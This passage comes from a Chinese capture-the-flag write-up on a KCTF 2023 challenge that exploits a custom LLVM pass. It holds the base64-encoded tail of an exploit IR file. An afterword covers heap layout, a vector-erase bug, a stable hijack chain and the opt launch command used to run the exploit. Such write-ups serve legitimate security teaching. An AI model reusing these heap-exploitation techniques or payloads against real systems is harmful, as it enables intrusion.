aTMyIG5vdW5kZWYgMCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91bmRlZiAxMTIsIGkzMiBu
b3VuZGVmIDApCiAgY2FsbCB2b2lkIEBjcmVhdGUoaTMyIG5vdW5kZWYgOTYsIGkzMiBub3VuZGVm
IDEpCiAgY2FsbCB2b2lkICguLi4pIEBzd2FwKCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91
bmRlZiA4MCwgaTMyIG5vdW5kZWYgMSkKICBjYWxsIHZvaWQgQHhvcihpMzIgbm91bmRlZiAwKQog
IGNhbGwgdm9pZCBAYWRkKGkzMiBub3VuZGVmIDY5Mjk2KQogIGNhbGwgdm9pZCBAeG9yKGkzMiBu
b3VuZGVmIDApCiAgY2FsbCB2b2lkIEBjcmVhdGUoaTMyIG5vdW5kZWYgMTEyLCBpMzIgbm91bmRl
ZiAyKQogIGNhbGwgdm9pZCBAZGVsZXRlKGkzMiBub3VuZGVmIDkpCiAgY2FsbCB2b2lkIEBjcmVh
dGUoaTMyIG5vdW5kZWYgMTEyLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkz
MiBub3VuZGVmIDExMiwgaTMyIG5vdW5kZWYgMCkKICBjYWxsIHZvaWQgQGFuZChpMzIgbm91bmRl
ZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDExMiwgaTMyIG5vdW5kZWYgMikK
ICBjYWxsIHZvaWQgQGRlbGV0ZShpMzIgbm91bmRlZiAxMSkKICBjYWxsIHZvaWQgKC4uLikgQGVu
ZCgpCiAgcmV0IHZvaWQKfQoKZGVjbGFyZSB2b2lkIEBzd2FwKC4uLikgIzEKCmRlY2xhcmUgdm9p
ZCBAYW5kKGkzMiBub3VuZGVmKSAjMQoKYXR0cmlidXRlcyAjMCA9IHsgbm9pbmxpbmUgbm91bndp
bmQgb3B0bm9uZSB1d3RhYmxlICJmcmFtZS1wb2ludGVyIj0iYWxsIiAibWluLWxlZ2FsLXZlY3Rv
ci13aWR0aCI9IjAiICJuby10cmFwcGluZy1tYXRoIj0idHJ1ZSIgInN0YWNrLXByb3RlY3Rvci1i
dWZmZXItc2l6ZSI9IjgiICJ0YXJnZXQtY3B1Ij0ieDg2LTY0IiAidGFyZ2V0LWZlYXR1cmVzIj0i
K2N4OCwrZnhzciwrbW14LCtzc2UsK3NzZTIsK3g4NyIgInR1bmUtY3B1Ij0iZ2VuZXJpYyIgfQph
dHRyaWJ1dGVzICMxID0geyAiZnJhbWUtcG9pbnRlciI9ImFsbCIgIm5vLXRyYXBwaW5nLW1hdGgi
PSJ0cnVlIiAic3RhY2stcHJvdGVjdG9yLWJ1ZmZlci1zaXplIj0iOCIgInRhcmdldC1jcHUiPSJ4
ODYtNjQiICJ0YXJnZXQtZmVhdHVyZXMiPSIrY3g4LCtmeHNyLCttbXgsK3NzZSwrc3NlMiwreDg3
IiAidHVuZS1jcHUiPSJnZW5lcmljIiB9CgohbGx2bS5tb2R1bGUuZmxhZ3MgPSAheyEwLCAhMSwg
ITIsICEzLCAhNH0KIWxsdm0uaWRlbnQgPSAheyE1fQoKITAgPSAhe2kzMiAxLCAhIndjaGFyX3Np
emUiLCBpMzIgNH0KITEgPSAhe2kzMiA3LCAhIlBJQyBMZXZlbCIsIGkzMiAyfQohMiA9ICF7aTMy
IDcsICEiUElFIExldmVsIiwgaTMyIDJ9CiEzID0gIXtpMzIgNywgISJ1d3RhYmxlIiwgaTMyIDF9
CiE0ID0gIXtpMzIgNywgISJmcmFtZS1wb2ludGVyIiwgaTMyIDJ9CiE1ID0gIXshIlVidW50dSBj
bGFuZyB2ZXJzaW9uIDE0LjAuMC0xdWJ1bnR1MSJ9Cg==
END
shell
:后记
LLVM
的启动命令呜呜呜,因为启动命令参数的不同会导致opt
运行过程中的堆布局不同。有些师傅认为这是本地打通了但远程无法打通的原因,其实主要原因不在于此,而是在于正文中提到的内核因素影响了堆布局。vector
的erase
中存在漏洞以及找到通用的劫持链以应对任意未知的远程环境。因此,正文中我给出的exp
对于不同的启动命令以及不同的内核环境,都是稳定的。LLVM
启动命令,但这是可以结合远程环境推断出来的。启动命令的参数还是比较固定的,不确定的就是文件路径以及是否添加了-f
参数。/home/ctf
路径下。-f
参数,在本地测试一下就可以知道,若是没有加-f
参数,会报一个WARNING
,如下图所示。然而,远程环境是没有WARNING
的,因此远程启动命令中存在-f
参数。opt-14 -load /home/ctf/VecPass.so -winmt /home/ctf/exp.ll -enable-new-pm=0 -f
。不过,即使知道了远程的启动命令,依然是一样需要去寻找到一条稳定的劫持链,毕竟我也不知道看雪远程服务器的内核版本是多少哈哈哈。在这个充满变数的赛场上,没有人能够预料到最终的结局。有时,优势的领先可能只是一时的,一瞬间的失误就足以颠覆一切。而那些一直默默努力、不断突破自我的人,往往会在最后关头迎头赶上,成为最耀眼的存在。
谁能保持领先优势?谁能迎头赶上?谁又能突出重围成为黑马?
球分享
球点赞
球在看
点击阅读原文进入比赛
原文始发于微信公众号(看雪学苑):看雪2023 KCTF年度赛 | 第四题设计思路及解析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论